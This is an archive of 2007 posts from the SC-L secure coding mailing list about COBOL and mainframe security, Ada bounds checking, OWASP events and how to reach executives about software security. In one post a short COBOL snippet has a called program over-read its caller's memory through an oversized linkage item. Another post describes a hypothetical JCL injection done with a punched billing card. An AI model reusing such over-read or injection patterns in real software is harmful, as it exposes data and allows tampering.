Larry Kilgallen

From ljknews at mac.com  Fri Nov  2 08:27:59 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 2 Nov 2007 09:27:59 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <25b6e5cf0711020616n2313ac7bja684968d30a6b615@mail.gmail.com>
References: <p05200f2bc35040e867b4@192.168.1.254>
	<714271.70979.qm@web54007.mail.re2.yahoo.com>
	<25b6e5cf0711020616n2313ac7bja684968d30a6b615@mail.gmail.com>
Message-ID: <p05200f34c350d5624a44@[192.168.1.254]>

At 2:16 PM +0100 11/2/07, Johan Peeters wrote:

> I have been looking at an IBM system. If I do something like this
> 
>           ...
>            01 txt                             PIC  X(120)
>            ....
>            string '**'
>              into txt
>            end-string
>            display txt
> 
> I get to see ** on sysout followed by what appears to be selected
> contents of the data section. This strikes me as somewhat worrysome -
> it reminds me of the format string vulnerabilities in C.
> Am I just being paranoid?

A program that improperly releases data due to programmer error is
beyond what I consider to be the realm of security.  To me that is
merely bad programming.

To me the criterion is whether an outsider can cause a program to do
something other than what it does for normal users.  Some secret back
door password that causes organizational secrets to be released would
be a Trojan horse.  A typical method of controlling that is with the
security controls on a database, so only authorized users can read the
"company secret" field, no matter how badly the application programmer
messes up.
-- 
Larry Kilgallen

From leichter_jerrold at emc.com  Fri Nov  2 08:55:59 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Fri, 2 Nov 2007 09:55:59 -0400 (EDT)
Subject: [SC-L] COBOL Exploits
In-Reply-To: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
References: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
Message-ID: <Pine.SOL.4.61.0711020922430.2368@mental>

| The adolescent minds that engage in "exploits" wouldn't know COBOL if
| a printout fell out a window and onto their heads.  
I would have thought we were beyond this kind of ignorance by now.

Sure, there are still script kiddies out there.  But these days the
attackers are sophisticated, educated, have a well developed community
that exchanges information - and they're in it for the money, not for
the kicks.

With COBOL handling so much of the world's finance, someone is bound
to look at it for vulnerabilities.

|						      I'm sure you can
| write COBOL programs that crash, but it must be hard to make them take
| control of the operating system.  COBOL programs are heavy into unit
| record equipment (cards, line printers), tape files, disk files,
| sorts, merges, report writing -- all the stuff that came down to
| 1959-model mainframes from tabulating equipment.  They don't do
| Internet.  What they could do and have done is incorporate malicious
| code that exploits rounding error such that many fractional pennies
| end up in a conniving programmer's bank account.
COBOL programs were written in an era when deliberate attack wasn't on
anyone's radar.  "Defensive programming" meant surviving random bugs -
and was often omitted because there was insufficient memory, and the
CPU was too slow, to get the actual work done otherwise.

COBOL, at least as it existed when I last looked at it (but didn't
actually program in it) many years ago, did indeed have no pointers, no
dynamic memory allocation, no stack-allocated variables.  So most of the
attacks characteristic of *C* programs were impossible in COBOL.

But consider:  We've had a large number of attacks against programs that
read known file formats and fail to check that the input is actually
properly formatted.  Just about every video, audio and compression
format has been attacked this way at least once.  Well, COBOL programs
worked with files of known formats.  In fact, the format was rigidly
specified within the program itself.  What if one of those programs
were fed a file that's been deliberately modified to trigger a bug?
I wouldn't place any particularly big bets on the code actually
checking that the files handed to it really conform to their alleged
specifications.  No one would have seen the point in doing so, since
the files were assumed to be *inside* of the security perimeter.  In
fact, it's only in the last couple of years that we've had to admit
that in the age of the Internet, *all* programs that read files must
carefully validate them - the old idea that "the worst that can happen
is that some CLI program crashes on the bad data" just won't do any
more.

FORTRAN in the same era rarely did array bounds checking.  At best,
a FORTRAN compiler might have a bounds-checking option that you could
use during debugging, but it's not likely it would have been used in
production code.  In fact, at least one site I know of made a custom
modification to the linker so that it would act as if there was always
an array (well, really a common block containing an array) at location
0.  By referencing this array, you could access any memory location.
This was considered a feature, not a bug.

I remember debugging some very interesting failures due to out-of-bounds
array indices in FORTRAN code.

COBOL, as I recall it, wasn't big on arrays as such, and I have no idea
if it bounds-checked what array references it had; but I wouldn't want
to put big bets on it.

Of course, COBOL got an SQL sublanguage many years ago.  In those days,
the notion of an SQL injection attack made no sense - the way the
programs were run gave an attacker no opportunity to inject anything.
Put the same COBOL program as the back end of some Web application
and, who knows, maybe you've just opened yourself up to just an
attack.

I remember receiving electric bills with an 80-column punch card that
you returned with your check.  Your account number was punched into
the card.  I believe the way this was used was that someone took the
card, fed it into a card punch machine, and keyed in the amount on
your check.  The cards would then be read into a program to update
the accounts.

Most of these things ran on OS/360.  I always joked about taking the
punch card and replacing the first couple of columns with "//EOD"
(or something very much like that):  The marker for the end of a
deck of data in standard OS/360 JCL.  The result would be that my
card, all cards after it, would end up being discarded in the update
run.  (There were ways to make that much harder - you could chose the
form of the terminator arbitrarily - but in an innocent age, that was
commonly not done.)  Looking at this with today's nastier eyes, with a
little cooperation from others, it would be possible to slip in cards
containing other JCL commands.  Should they be encountered *after* the
//EOD, they could manipulate files, run programs - do all kinds of nasty
stuff.  "JCL injection attack", circa the early 1970's....

This stuff was (a) secure in its limited, controlled environment;
(b) probably not nearly as secure as people believed, because it really
wasn't subjected to the attack techniques we've learned in the last 50
years.
							-- Jerry

From ken at krvw.com  Fri Nov  2 09:41:48 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 2 Nov 2007 10:41:48 -0400
Subject: [SC-L] COBOL Exploits
In-Reply-To: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
References: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
Message-ID: <71D25F08-FEDE-43CA-9CD8-437DE32A8CFA@krvw.com>

On Nov 2, 2007, at 12:13 AM, Mark Rockman wrote:
> I'm sure you can write COBOL programs that crash, but it must be  
> hard to make them take control of the operating system.

If software exploits were "only" isolated to OS compromise, that'd be  
just fine.  But let's not forget that an application can be thoroughly  
compromised by an attacker who never leaves the realm of the  
application -- e.g., providing spoofed credentials to read another  
user's customer data in a database app.  The business logic data  
access control (authorization) is just one area of an app that  
transcends implementation language.  A poorly design authorization  
model can be implemented in pretty much anything, I believe.

Let's get past the simple buffer overflow exploit to get OS access.   
IMHO, it's right to consider mainframe/COBOL apps carefully.  Although  
we likely won't find a buffer overflow "smoking gun", I'll bet we are  
likely to find examples of bad security logic that can lead to app  
compromise.  Plus, let's face it, modern attacks are moving more and  
more towards the pure application layer (think XSS, SQL/XML injection,  
cross-site request forgery, etc.), AND they're increasingly  
financially motivated.

Cheers,

Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071102/4a075e29/attachment-0001.bin 

From ljknews at mac.com  Fri Nov  2 10:22:23 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 2 Nov 2007 11:22:23 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <25b6e5cf0711020811q47cf39a7te1d4f10ac9e4a7fe@mail.gmail.com>
References: <p05200f2bc35040e867b4@192.168.1.254>
	<714271.70979.qm@web54007.mail.re2.yahoo.com>
	<25b6e5cf0711020616n2313ac7bja684968d30a6b615@mail.gmail.com>
	<p05200f34c350d5624a44@192.168.1.254>
	<25b6e5cf0711020811q47cf39a7te1d4f10ac9e4a7fe@mail.gmail.com>
Message-ID: <p05200f35c350f00c8dd8@[192.168.1.254]>

At 4:11 PM +0100 11/2/07, Johan Peeters wrote:

> Let me offer a little variant on the previous theme though to
> illustrate, hopefully more convincingly, why I find COBOL worrisome:
> 
>       ...
>        01 txt                        pic x(2).
>        ....
>        move 'hi' to txt
>        call 'evil-code' using txt
>        ....
> 
>       IDENTIFICATION DIVISION.
>        PROGRAM-ID. evil-code.
>        DATA DIVISION.
>        linkage section.
>        01 asset                        PIC  X(1200).
>        procedure division using asset
>        ....
> 
> The author of evil-code now has a selection of the contents of the
> caller's data segment at his disposal.

Are you saying that evil-code is written in some language that allows
it to take advantage of by-reference semantics to go outside the
nominal boundaries of 2 bytes presumed by COBOL ?

If so, this is hardly an issue specific to COBOL.  Presuming evil-code
can play address arithmetic issues, any situation where the caller's
address space is visible to evil-code is similarly vulnerable.

Clearly evil-code should be in a separate address space to defend
against such an attack.
-- 
Larry Kilgallen

From gbuday at gmail.com  Fri Nov  2 12:43:38 2007
From: gbuday at gmail.com (Gergely Buday)
Date: Fri, 2 Nov 2007 18:43:38 +0100
Subject: [SC-L] Mainframe Security
In-Reply-To: <472B1D70.50504@gce.com>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@192.168.1.254> <472B1D70.50504@gce.com>
Message-ID: <90d975d30711021043w68c8195fvbf14ac157c72fc2d@mail.gmail.com>

On 02/11/2007, Glenn and Mary Everhart <everhart at gce.com> wrote:

> I believe there are some old COBOL static analyzers around,

One of them is the Anno Domini system, which was developed to help the
Y2K (do anybody remember what was this hype?) experts to do their
work.

http://portal.acm.org/citation.cfm?id=292543&dl=ACM&coll=portal

- Gergely Buday

From neumann at csl.sri.com  Fri Nov  2 12:45:06 2007
From: neumann at csl.sri.com (Peter G. Neumann)
Date: Fri, 2 Nov 2007 10:45:06 PDT
Subject: [SC-L] COBOL Exploits
In-Reply-To: Your message of Fri, 02 Nov 2007 00:13:37 -0400
Message-ID: <CMM.0.90.4.1194025506.neumann@chiron.csl.sri.com>

Searching through 
  http://www.csl.sri.com/neumann/illustrative.html
gives these COBOL-related RISKS items.  The initial 
character descriptors are defined there.  In the citations,

* R relates to RISKS (archives at risks.org)
* S relates to SIGSOFT Software Engineering Notes (archives at
    www.sigsoft.org/SEN/ although more recent items also in RISKS)

Vf  West Drayton ATC system bug found in 2-yr-old COBOL code (S 16 3, R 11 30)

\$fe IRS COBOL reprogramming delays; interest paid on over 1,150,000 refunds 
  (S 10 3:12)

S[H?] Election frauds, lawsuits, spaghetti code, same memory locations
used for multiple races simultaneously, undocumented GOTOs, COBOL
ALTER verb allowing self-modifying code, calls to undocumented/unknown
subroutines, bypassable audit trails (S 11 3); 
Report from the Computerized Voting Symposium, August 1986 (S 11 5)

Sie
Data transfer Excel-COBOL loses voter data in 2003 Greenville
  Mississippi election (R 22 95)

\$hi Man gets \$218 trillion phone bill (R 24 24); COBOL program? 
  (R 24 27,29,30,33)

f Discussion of date and century roll-over problems:
Fujitsu SRS-1050 ISDN display phones fail on two-digit month (10);
1401 one-character year field; COBOL improvements; IBM 360 (S 20 2:13)
  [See Fred Ballard and Walt Murray  (R 16 70 ff).]
  [Lots of stuff is relevant on COBOL's two-character year field
  and the entire Y2K saga.]

From fw at deneb.enyo.de  Fri Nov  2 17:45:18 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Fri, 02 Nov 2007 23:45:18 +0100
Subject: [SC-L] Mainframe Security
In-Reply-To: <p05200f2bc35040e867b4@[192.168.1.254]> (ljknews@mac.com's
	message of "Thu\, 1 Nov 2007 22\:52\:58 -0400")
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@[192.168.1.254]>
Message-ID: <87ve8ks1vl.fsf@mid.deneb.enyo.de>

> My limited exposure to Cobol makes me think it is as unlikely to have
> a buffer overflow as PL/I or Ada.

Usually, Ada programmers switch off bounds checking before shipping
code.  I don't know why Ada has such a reputation for robustness.

From ljknews at mac.com  Fri Nov  2 22:45:18 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 2 Nov 2007 23:45:18 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <87ve8ks1vl.fsf@mid.deneb.enyo.de>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@[192.168.1.254]>
	<87ve8ks1vl.fsf@mid.deneb.enyo.de>
Message-ID: <p05200f03c3519f05c54d@[192.168.1.254]>

At 11:45 PM +0100 11/2/07, Florian Weimer wrote:

>> My limited exposure to Cobol makes me think it is as unlikely to have
>> a buffer overflow as PL/I or Ada.
> 
> Usually, Ada programmers switch off bounds checking before shipping
> code.  I don't know why Ada has such a reputation for robustness.

Can you provide a pointer to the study showing that ?

Certainly none of the Ada I ship has bounds checking disabled.
-- 
Larry Kilgallen

From mrockman at acm.org  Sat Nov  3 00:08:52 2007
From: mrockman at acm.org (Mark Rockman)
Date: Sat, 03 Nov 2007 01:08:52 -0400
Subject: [SC-L] Disable Bounds Checking?
Message-ID: <4745EFB4EC3B4297BDEA64936F13544E@mdrsesco.com>

Back around 1980, when Ada was new, it was common for compiler manufacturers to claim it is best to disable bound checking for performance reasons.  Getting your program to run slightly faster trumped knowing that any of your buffers was overflowing. Code that silently trashes memory can be expected to produce some truly creative results.   My practice is to code defensively, to ensure my program is operating according to policies that I set for it.  I want to know when it is misbehaving.  Should there be a performance hit, I instrument the program to find the hot spots and optimize those and only those.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071103/83402060/attachment.html 

From fw at deneb.enyo.de  Sat Nov  3 09:22:07 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Sat, 03 Nov 2007 15:22:07 +0100
Subject: [SC-L] Mainframe Security
In-Reply-To: <p05200f03c3519f05c54d@[192.168.1.254]> (ljknews@mac.com's
	message of "Fri\, 2 Nov 2007 23\:45\:18 -0400")
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@[192.168.1.254]>
	<87ve8ks1vl.fsf@mid.deneb.enyo.de>
	<p05200f03c3519f05c54d@[192.168.1.254]>
Message-ID: <87640jbe9c.fsf@mid.deneb.enyo.de>

> At 11:45 PM +0100 11/2/07, Florian Weimer wrote:
>
>>> My limited exposure to Cobol makes me think it is as unlikely to have
>>> a buffer overflow as PL/I or Ada.
>> 
>> Usually, Ada programmers switch off bounds checking before shipping
>> code.  I don't know why Ada has such a reputation for robustness.
>
> Can you provide a pointer to the study showing that ?

A lot of programmers used to follow the example of GNAT's run-time
library, which is compiled with -gnatp, turning off bounds checks (among
others). There's also a certain influence from the certification crowd
who detests dead code.

But it seems that there's been a move away from -gnatp during the last
couple of years.  I hadn't noticed this.  Thanks.

From thesp0nge at gmail.com  Mon Nov  5 06:50:08 2007
From: thesp0nge at gmail.com (Paolo Perego)
Date: Mon, 5 Nov 2007 12:50:08 +0100
Subject: [SC-L] Code review pool
Message-ID: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>

Hi guys, trying to improve Owasp Orizon project in a better way, I
released a poll over my blog here:
http://thesp0nge.livejournal.com/5687.html

It would be great having your feedback about your vision to code
review and safe coding as developers and security specialist.

Thanks for participating.

Regards
thesp0nge

-- 
Owasp Orizon leader
orizon.sourceforge.net

From ljknews at mac.com  Mon Nov  5 08:10:13 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 5 Nov 2007 09:10:13 -0400
Subject: [SC-L] Code review pool
In-Reply-To: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
Message-ID: <p05200f0ec354c60edae3@[192.168.1.254]>

At 12:50 PM +0100 11/5/07, Paolo Perego wrote:

> Hi guys, trying to improve Owasp Orizon project in a better way, I
> released a poll over my blog here:
> http://thesp0nge.livejournal.com/5687.html
> 
> It would be great having your feedback about your vision to code
> review and safe coding as developers and security specialist.

I see a bunch of links called "View Answers" along with a link
called "Poll #1083138".

Clicking on the "Poll #1083138" link takes me to a page of answers.
-- 
Larry Kilgallen

From dave.wichers at owasp.org  Mon Nov  5 08:44:01 2007
From: dave.wichers at owasp.org (Dave Wichers)
Date: Mon, 5 Nov 2007 08:44:01 -0500
Subject: [SC-L] FINAL REMINDER: OWASP & WASC AppSec 2007 Conference - Nov
	12-15 - San Jose, CA
Message-ID: <026601c81fb1$ec9d66b0$c5d83410$@wichers@owasp.org>

This is to remind everyone that if you plan to attend the OWASP conference
next week, you need to register by COB this Thursday the 8th, so we can let
eBay security know on Friday who is attending.

 

Thanks! And hope to see many of you there.

 

-Dave

 

From: Dave Wichers 
Sent: Friday, October 05, 2007 9:46 AM
To: 'webappsec at lists.owasp.org'
Subject: OWASP & WASC AppSec 2007 Conference - Nov 12-15 - San Jose, CA

 

OWASP and WASC have agreed to join forces this year to put together an
incredible AppSec 2007 Conference for the application security community,
Nov. 12-15 in San Jose. A huge concentration of industry leading experts
will be in attendance presenting high quality web application security
content. AppSec 2007 offers a unique opportunity for security professionals,
software developers, and IT managers to get up to speed on the latest and
greatest attack techniques, defense strategies, and industry trends in an
atmosphere of peers. The conference format and venue is also perfect for
networking and sharing experiences with others that are down in the
trenches.

 

Full details on the conference are available at:
http://www.owasp.org/index.php/OWASP_
<http://www.owasp.org/index.php/OWASP_&_WASC_AppSec_2007_Conference>
&_WASC_AppSec_2007_Conference 

 

There are many new firsts to this conference that I wanted to mention:

 

1)      This is the first joint OWASP and WASC AppSec Conference

2)      eBay is hosting this conference, which is the first conference being
hosted at a company facility. (Thank you eBay)

3)      Web Services Security Track: A 3rd track has been added on Day 1 for
this topic, which is an important area for OWASP to get involved with (and
it is)

Details on this track are available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/A
genda#Nov_14:_Track_3:_Web_Services_Security 

4)      Tutorials: The tutorials session has been expanded to 2 full days
and we have five 2-day tutorials this time on Nov 12-13:

a.       Building and Testing Secure Web Applications

b.      Secure Coding for Java EE

c.       Secure Coding .NET Web Applications

d.      Web Services and XML Security

e.      Leveraging OWASP Tools and Documents to Secure Your Enterprise (Our
first OWASP specific tutorial!! - Taught by our Chief Evangelist - Dinis
Cruz)

f.        ModSecurity Tutoral (NEW!!)

Tutorial details are available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/T
raining 

5)      A Technology Expo has been introduced. Vendors of application
security products and managed services will be demonstrating their wares for
the first time at an OWASP conference on Nov 13 and Nov 14.

Tech Expo info is available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/A
genda#Tech_Expo_-_Nov_13th-14th 

If you are a vendor interested in participating in the expo, more details
are here: http://www.owasp.org/index.php/OWASP_AppSec_Conference_Sponsors 

6)      New Social Events! - Breach is going to again have a cocktail party.
This time its Nov 13. OWASP has its dinner on Nov 14. The OWASP Band!! Is
also playing on Nov 14 (Check with Dinis for details). Microsoft has now
joined in and is having a closing cocktail party on Nov 15 that is being
cosponsored by Aspect Security.

 

I hope to see you there!

 

Thanks, Dave

 

Dave Wichers

OWASP Conferences Chair

dave.wichers at owasp.org

 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071105/8c8a21af/attachment.html 

From thesp0nge at gmail.com  Mon Nov  5 09:15:51 2007
From: thesp0nge at gmail.com (Paolo Perego)
Date: Mon, 5 Nov 2007 15:15:51 +0100
Subject: [SC-L] Code review pool
In-Reply-To: <p05200f0ec354c60edae3@192.168.1.254>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
	<p05200f0ec354c60edae3@192.168.1.254>
Message-ID: <e9cf3c9b0711050615n4d68ee80td18e5c33a65caf4@mail.gmail.com>

Please apologies me. I figure out just know that livejournal.com
doesn't allow poll to be complete without a valid livejournal.com
account or openId.

So if you are not livejournal users and you don't want to became one
of them, you could answer the poll to me using email and I'll publish
results to another post to my blog.

Again sorry :(

thesp0nge

On 05/11/2007, ljknews <ljknews at mac.com> wrote:
> At 12:50 PM +0100 11/5/07, Paolo Perego wrote:
>
> > Hi guys, trying to improve Owasp Orizon project in a better way, I
> > released a poll over my blog here:
> > http://thesp0nge.livejournal.com/5687.html
> >
> > It would be great having your feedback about your vision to code
> > review and safe coding as developers and security specialist.
>
> I see a bunch of links called "View Answers" along with a link
> called "Poll #1083138".
>
> Clicking on the "Poll #1083138" link takes me to a page of answers.
> --
> Larry Kilgallen
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
Owasp Orizon leader
orizon.sourceforge.net

From list-procurare at secureconsulting.net  Tue Nov  6 11:41:24 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Tue, 6 Nov 2007 11:41:24 -0500 (EST)
Subject: [SC-L] Bernstein's new paper on secure coding
Message-ID: <59349.38.118.48.5.1194367284.squirrel@webmail.secureconsulting.net>

Daniel J Bernstein, author of the qmail MTA, has written an interesting,
short paper on qmail security and the secure coding practices that went
into it. I imagine folks here will find it of interest, too.
http://cr.yp.to/qmail/qmailsec-20071101.pdf

-- 
Benjamin Tomhave, MS, CISSP
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil liberties of all citizens, whatever
their background. We must remember that any oppression, any injustice, any
hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


From list-procurare at secureconsulting.net  Wed Nov  7 15:28:03 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Wed, 07 Nov 2007 15:28:03 -0500
Subject: [SC-L] [Fwd: Seeking questions for Panel discussion on website
 vulnerability disclosure during OWASP-WASC AppSec Conference on Nov 15]
Message-ID: <47321FD3.2010809@secureconsulting.net>

Forwarding with permission... please send feedback directly to Anurag as
he is not currently a member of this list.

-ben

-- 
[ Random Quote: ]
"Cyberspace. A consensual hallucination experienced daily by billions of
legitimate operators, in every nation, by children being taught
mathematical concepts."
William Gibson

-------- Original Message --------
Subject: Seeking questions for Panel discussion on website vulnerability
disclosure during OWASP-WASC AppSec Conference on Nov 15
Resent-Date: Tue,  6 Nov 2007 09:57:45 -0700 (MST)
Resent-From: pen-test-return-1078485372 at securityfocus.com
Date: Mon, 5 Nov 2007 16:46:51 -0800
From: Anurag Agarwal <anurag.agarwal at yahoo.com>
To: <pen-test at securityfocus.com>
References:
<110120071059.21347.4729B17E000676550000536322070245539D0A9B0A03020E900006 at comcast.net>

I am not sure if everyone knows about the panel discussion on Website
Vulnerability Disclosure during the OWASP-WASC AppSec Conference on Nov
15. I will be moderating that panel and wanted this to be an honest
discussion between a hacker, a corporate and govt. I know there was an
email thread few days ago on Full disclosure of security vulnerabilities
so i thought i will send this to the list as well. I am interested in
knowing what people would like to know or what questions they would like
them to discuss on. you can find the details of the panelists and other
stuff on the following posting.

http://myappsecurity.blogspot.com/2007/11/panel-discussion-on-website.html

Feel free to send in questions (i dont care how crazy, inciting or
provocative it is). You can send it to me directly or post as a comment
on my blog or if the moderator of the mailing lists dont mind then reply
to the list.


Cheers,

Anurag Agarwal
Blog: http://myappsecurity.blogspot.com
Email: anurag.agarwal at yahoo.com
Web: www.myappsecurity.com




From ken at krvw.com  Thu Nov  8 15:55:42 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 8 Nov 2007 15:55:42 -0500
Subject: [SC-L] Fwd: People in glass houses shouldn't brick phones
Message-ID: <B57E31C7-86F3-4CC0-9B7C-0F7EA0668576@krvw.com>

SC-L,

FYI, some of you might find my column this month on eSecurityPlanet to  
be interesting:

http://www.esecurityplanet.com/article.php/3709301   (free, no  
registration required)

In it, I talk about some of the software security lessons to be  
gleamed from Apple's iPhone bricking debacle.  Enjoy...

Cheers,

Ken


-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071108/b3672c24/attachment.bin 

From gem at cigital.com  Thu Nov  8 16:48:08 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 8 Nov 2007 16:48:08 -0500
Subject: [SC-L] "Radio" webcast on EOG/Software Security streams FRIDAY at
	noon EST
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2EFBC040EB@va-mailhub.cigital.com>

Hi sc-l,

Yesterday I recorded a couple of long podcast/interviews, one was technical and the other more business-related.  The business-y one is being streamed live tomorrow at noon here:
http://www.techforum.com/techforumlive.html. If you can't make the stream, I think they'll release the mp3 the following Monday somewhere on the same website.

Lots of software security stuffs in the interview, and probably appropriate for management types to listen to.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From James.McGovern at thehartford.com  Thu Nov 15 11:25:31 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 15 Nov 2007 11:25:31 -0500
Subject: [SC-L] OWASP Publicity
In-Reply-To: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
Message-ID: <343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>

I have observed an interesting behavior in that the vast majority of IT
executives still haven't heard about the principles behind secure
coding. My take says that we are publishing information in all the wrong
places. IT executives don't really read ACM, IEEE or other the sporadic
posting from bloggers but they do read CIO, Wall Street Journal and most
importantly listen to each other.

What do folks on this list think about asking the magazines and
newspapers to publish? I am willing to gather contact information of
news reporters and others within the media if others are willing to
amplify the call to action in terms of contacting them. 



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From crispin at crispincowan.com  Thu Nov 15 15:28:47 2007
From: crispin at crispincowan.com (Crispin Cowan)
Date: Thu, 15 Nov 2007 12:28:47 -0800
Subject: [SC-L] OWASP Publicity
In-Reply-To: <343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
Message-ID: <473CABFF.7070808@crispincowan.com>

McGovern, James F (HTSC, IT) wrote:
> I have observed an interesting behavior in that the vast majority of IT
> executives still haven't heard about the principles behind secure
> coding. My take says that we are publishing information in all the wrong
> places. IT executives don't really read ACM, IEEE or other the sporadic
> posting from bloggers but they do read CIO, Wall Street Journal and most
> importantly listen to each other.
>
> What do folks on this list think about asking the magazines and
> newspapers to publish? I am willing to gather contact information of
> news reporters and others within the media if others are willing to
> amplify the call to action in terms of contacting them. 
>   
The vast majority of IT executives are unfamiliar with all of the
principles of security, firewalls, coding, whatever.

The important thing to understand is that such principles are below
their granularity; then are *right* to not care about such principles,
because they can't do anything about them. Their granularity of decision
making is which products to buy, which strategies to adopt, which
managers to hire and fire. Suppose they did understand the principles of
secure coding; how then would they use that to decide between firewalls?
Web servers? Application servers?

If anything, the idea that needs to be pitched to IT executives is to
pay more attention to "quality" than to shiny buttons & features. But
there's the rub, what is "quality" and how can an IT executive measure it?

I have lots of informal metrics that I use to measure quality, but they
largely amount to synthesized reputation capital, derived from reading
bugtraq and the like with respect to how many vulnerabilities I see with
respect to a given product, e.g. Qmail and Postifx are extremely secure,
Pidgin not so much :)

But as soon as we formalize anything like this kind of metric, and get
executives to start buying according to it, then vendors start gaming
the system. They start developing aiming at getting the highest
whatever-metric score they can, rather than for actual quality. This
happens because metrics that approximate quality are always cheaper to
achieve than actual quality.

This is a very, very hard problem, and sad to say, but pitching articles
articles on principles to executives won't solve it.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin
CEO, Mercenary Linux		   http://mercenarylinux.com/
	       Itanium. Vista. GPLv3. Complexity at work


From gunnar at arctecgroup.net  Thu Nov 15 15:46:13 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Thu, 15 Nov 2007 14:46:13 -0600
Subject: [SC-L] OWASP Publicity
In-Reply-To: <343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
Message-ID: <C3620C35.D1B6%gunnar@arctecgroup.net>

Local boy makes good

http://online.wsj.com/article/0,,SB112128453130584810,00-search.html

-gp


On 11/15/07 10:25 AM, "McGovern, James F (HTSC, IT)"
<James.McGovern at thehartford.com> wrote:

> I have observed an interesting behavior in that the vast majority of IT
